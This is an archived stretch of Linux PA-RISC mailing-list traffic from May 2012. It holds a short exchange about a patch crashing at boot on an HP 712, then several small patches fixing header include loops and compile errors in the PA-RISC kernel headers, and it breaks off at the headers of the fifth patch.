	Wed, 9 May 2012 17:14:29 -0400
Original-Received: from romuald.bergerie (unknown [82.228.252.113])
	by smtp4-g21.free.fr (Postfix) with ESMTP id 62B614C8078
	for <linux-parisc@vger.kernel.org>; Wed,  9 May 2012 23:14:21 +0200 (CEST)
Original-Received: by romuald.bergerie (Postfix, from userid 65534)
	id E6174120041; Wed,  9 May 2012 23:14:19 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on romuald.bergerie
X-Spam-Level: 
X-Spam-Status: No, score=-0.8 required=5.0 tests=ALL_TRUSTED,FH_FROMEML_NOTLD
	autolearn=no version=3.3.1
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by romuald.bergerie (Postfix) with ESMTPS id B4550120041;
	Wed,  9 May 2012 23:14:18 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120329 Icedove/10.0.3
In-Reply-To: <4FAA9382.7040802@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4333
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4333>

On 05/09/2012 05:55 PM, John David Anglin wrote:
> Attached is an updated version.   It applies against 3.3.4.

Thanks. It applies on v3.4-rc6 with no issue. However, it crashes at
boot in flush_dcache_page_asm.

Best regards,

V.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Wed, 09 May 2012 17:33:51 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <4FAAE2BF.5040809@bell.net>
References: <4FA9975C.5060708@bergerie> <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net> <4FAADE2A.9080803@bergerie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336599293 17042 80.91.229.3 (9 May 2012 21:34:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 21:34:53 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Vincent <vincent.stehle@laposte.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 09 23:34:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSEWz-0006uR-Pu
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 May 2012 23:34:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932399Ab2EIVeg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 17:34:36 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:57261 "EHLO
	mail-07.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1758667Ab2EIVeg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 17:34:36 -0400
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-07.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SSEWn-0000q4-2C; Wed, 09 May 2012 17:34:33 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <4FAADE2A.9080803@bergerie>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4334
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4334>

On 5/9/2012 5:14 PM, Vincent wrote:
> On 05/09/2012 05:55 PM, John David Anglin wrote:
>> Attached is an updated version.   It applies against 3.3.4.
> Thanks. It applies on v3.4-rc6 with no issue. However, it crashes at
> boot in flush_dcache_page_asm.
>
Do you have a specific instruction where it crashes?

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 1/5] PA-RISC: fix compile errors
Date: Wed, 9 May 2012 18:16:38 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336601818 25408 80.91.229.3 (9 May 2012 22:16:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 22:16:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: torvalds@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 10 00:16:56 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SSFBo-0004go-AM
	for glk-linux-kernel-3@plane.gmane.org; Thu, 10 May 2012 00:16:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932588Ab2EIWQy (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 9 May 2012 18:16:54 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:10073 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932519Ab2EIWQv (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 9 May 2012 18:16:51 -0400
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q49MGe1d004509
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 May 2012 18:16:40 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id q49MGdpA015168
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 9 May 2012 18:16:39 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q49MGdUu004517;
	Wed, 9 May 2012 18:16:39 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q49MGcGb004514;
	Wed, 9 May 2012 18:16:38 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1294511 gmane.linux.ports.parisc:4335
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1294511>

From: Rolf Eike Beer <eike-kernel@sf-tec.de>

This leads to this errors:

In file included from /home/buildbot/repos/linux/arch/parisc/include/asm/atomic.h:20:0,
                 from /home/buildbot/repos/linux/include/linux/atomic.h:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:56,
                 from /home/buildbot/repos/linux/include/linux/bitops.h:22,
                 from /home/buildbot/repos/linux/include/linux/kernel.h:19,
                 from /home/buildbot/repos/linux/include/linux/sched.h:55,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/asm-offsets.c:31:
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h: In function "arch_spin_is_locked":
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:9:2: error: implicit declaration of function "__ldcw_align" [-Werror=implicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:9:29: warning: initialization makes pointer from integer without a cast [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h: In function "arch_spin_lock_flags":
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:22:2: error: implicit declaration of function "mb" [-Werror=implicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:23:4: warning: assignment makes pointer from integer without a cast [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:24:2: error: implicit declaration of function "__ldcw" [-Werror=implicit-function-declaration]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
---
 arch/parisc/include/asm/spinlock.h |    2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/asm/spinlock.h b/arch/parisc/include/asm/spinlock.h
index 804aa28..3516e0b 100644
--- a/arch/parisc/include/asm/spinlock.h
+++ b/arch/parisc/include/asm/spinlock.h
@@ -1,6 +1,8 @@
 #ifndef __ASM_SPINLOCK_H
 #define __ASM_SPINLOCK_H
 
+#include <asm/barrier.h>
+#include <asm/ldcw.h>
 #include <asm/processor.h>
 #include <asm/spinlock_types.h>
 

From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 2/5] PA-RISC: fix compile errors
Date: Wed, 9 May 2012 18:17:13 -0400 (EDT)
Lines: 50
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205091816470.1272@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336601843 25577 80.91.229.3 (9 May 2012 22:17:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 22:17:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 00:17:21 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSFCD-0004qH-0S
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 00:17:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932519Ab2EIWRU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 18:17:20 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:26866 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932494Ab2EIWRT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 18:17:19 -0400
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q49MHE5R007653
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 May 2012 18:17:14 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q49MHD58010246
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 9 May 2012 18:17:13 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q49MHDwN004555;
	Wed, 9 May 2012 18:17:13 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q49MHDg7004552;
	Wed, 9 May 2012 18:17:13 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4336 gmane.linux.kernel:1294512
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4336>

From: Rolf Eike Beer <eike-kernel@sf-tec.de>

Fixes this warnings:

In file included from /home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:15:0,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:11,
                 from /home/buildbot/repos/linux/include/linux/bitops.h:22,
                 from /home/buildbot/repos/linux/include/linux/kernel.h:19,
                 from /home/buildbot/repos/linux/include/linux/sched.h:55,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/asm-offsets.c:31:
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:106:10: warning: "struct hardware_path" declared inside parameter list [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:106:10: warning: its scope is only this definition or declaration, which is probably not what you want [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:116:59: warning: "struct hardware_path" declared inside parameter list [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:118:47: warning: "struct hardware_path" declared inside parameter list [enabled by default]
/home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:119:57: warning: "struct hardware_path" declared inside parameter list [enabled by default]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
---
 arch/parisc/include/asm/hardware.h |    2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/asm/hardware.h b/arch/parisc/include/asm/hardware.h
index 4e96268..036e703 100644
--- a/arch/parisc/include/asm/hardware.h
+++ b/arch/parisc/include/asm/hardware.h
@@ -95,12 +95,14 @@ struct bc_module {
 #define HPHW_MC	       15
 #define HPHW_FAULTY    31
 
+struct parisc_device_id;
 
 /* hardware.c: */
 extern const char *parisc_hardware_description(struct parisc_device_id *id);
 extern enum cpu_type parisc_get_cpu_type(unsigned long hversion);
 
 struct pci_dev;
+struct hardware_path;
 
 /* drivers.c: */
 extern struct parisc_device *alloc_pa_dev(unsigned long hpa,

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 3/5] PA-RISC: fix compile errors
Date: Wed, 9 May 2012 18:17:42 -0400 (EDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205091817170.1272@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091816470.1272@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336601891 25872 80.91.229.3 (9 May 2012 22:18:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 22:18:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: torvalds@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu May 10 00:18:09 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SSFCv-00051Y-Tz
	for glk-linux-kernel-3@plane.gmane.org; Thu, 10 May 2012 00:18:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932615Ab2EIWRv (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 9 May 2012 18:17:51 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:25150 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932494Ab2EIWRt (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 9 May 2012 18:17:49 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q49MHhP0016448
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 May 2012 18:17:43 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q49MHgnd026769
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 9 May 2012 18:17:43 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q49MHgV3004563;
	Wed, 9 May 2012 18:17:42 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q49MHg93004560;
	Wed, 9 May 2012 18:17:42 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <Pine.LNX.4.64.1205091816470.1272@file.rdu.redhat.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1294513 gmane.linux.ports.parisc:4337
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1294513>

From: Rolf Eike Beer <eike-kernel@sf-tec.de>

It seems none of the symbols defined by pdc.h is needed, but it introduces an
include loop causing compile errors:

In file included from /home/buildbot/repos/linux/arch/parisc/include/asm/spinlock.h:4:0,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h:4,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:56,
                 from /home/buildbot/repos/linux/include/linux/bitops.h:35,
                 from /home/buildbot/repos/linux/include/asm-generic/getorder.h:7,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/page.h:162,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/pdc.h:346,
                 from /home/buildbot/repos/linux/arch/parisc/include/asm/hardware.h:5,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/hardware.c:30:
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:74:16: error: field "cpu_type" has incomplete type
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:77:20: error: field "model" has incomplete type
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h: In function "parisc_requires_coherency":
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:349:36: error: "mako" undeclared (first use in this function)
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:349:36: note: each undeclared identifier is reported only once for each function it appears in
/home/buildbot/repos/linux/arch/parisc/include/asm/processor.h:350:30: error: "mako2" undeclared (first use in this function)

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
---
 arch/parisc/include/asm/hardware.h |    1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/parisc/include/asm/hardware.h b/arch/parisc/include/asm/hardware.h
index 036e703..d1d864b 100644
--- a/arch/parisc/include/asm/hardware.h
+++ b/arch/parisc/include/asm/hardware.h
@@ -2,7 +2,6 @@
 #define _PARISC_HARDWARE_H
 
 #include <linux/mod_devicetable.h>
-#include <asm/pdc.h>
 
 #define HWTYPE_ANY_ID		PA_HWTYPE_ANY_ID
 #define HVERSION_ANY_ID		PA_HVERSION_ANY_ID


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 4/5] PA-RISC: fix compile errors
Date: Wed, 9 May 2012 18:18:38 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205091818160.1272@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091816470.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091817170.1272@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1336601933 26164 80.91.229.3 (9 May 2012 22:18:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 9 May 2012 22:18:53 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 00:18:52 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSFDa-0005CR-Qo
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 00:18:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932582Ab2EIWSq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 May 2012 18:18:46 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:37898 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932538Ab2EIWSp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 May 2012 18:18:45 -0400
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q49MIdfb015734
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 9 May 2012 18:18:39 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id q49MId9j015512
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 9 May 2012 18:18:39 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q49MIcUD004583;
	Wed, 9 May 2012 18:18:38 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q49MIclK004580;
	Wed, 9 May 2012 18:18:38 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <Pine.LNX.4.64.1205091817170.1272@file.rdu.redhat.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4338 gmane.linux.kernel:1294515
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4338>

From: Rolf Eike Beer <eike-kernel@sf-tec.de>

Fixes these errors:

In file included from /home/buildbot/repos/linux/arch/parisc/include/asm/io.h:5:0,
                 from /home/buildbot/repos/linux/include/linux/io.h:22,
                 from /home/buildbot/repos/linux/include/linux/pci.h:54,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/setup.c:35:
/home/buildbot/repos/linux/arch/parisc/include/asm/pgtable.h:92:6: warning: "PAGE_SHIFT" is not defined [-Wundef]
/home/buildbot/repos/linux/arch/parisc/include/asm/pgtable.h:92:6: warning: "PAGE_SHIFT" is not defined [-Wundef]
/home/buildbot/repos/linux/arch/parisc/include/asm/pgtable.h:92:6: warning: "BITS_PER_PTE_ENTRY" is not defined [-Wundef]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
---
 arch/parisc/include/asm/pgtable.h |    2 ++
 1 file changed, 2 insertions(+)

Index: linux-3.4-rc6-fast/arch/parisc/include/asm/pgtable.h
===================================================================
--- linux-3.4-rc6-fast.orig/arch/parisc/include/asm/pgtable.h	2012-05-09 04:34:41.000000000 +0200
+++ linux-3.4-rc6-fast/arch/parisc/include/asm/pgtable.h	2012-05-09 04:35:16.000000000 +0200
@@ -44,6 +44,8 @@ struct vm_area_struct;
 
 #endif /* !__ASSEMBLY__ */
 
+#include <asm/page.h>
+
 #define pte_ERROR(e) \
 	printk("%s:%d: bad pte %08lx.\n", __FILE__, __LINE__, pte_val(e))
 #define pmd_ERROR(e) \

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 5/5] PA-RISC: fix compile errors
Date: Wed, 9 May 2012 18:19:18 -0400 (EDT)
Lines: 127
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1205091818430.1272@file.rdu.redhat.com>
References: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091816470.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091817170.1272@file.rdu.redhat.com>
 <Pine.LNX.4.64.1205091818160.1272@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
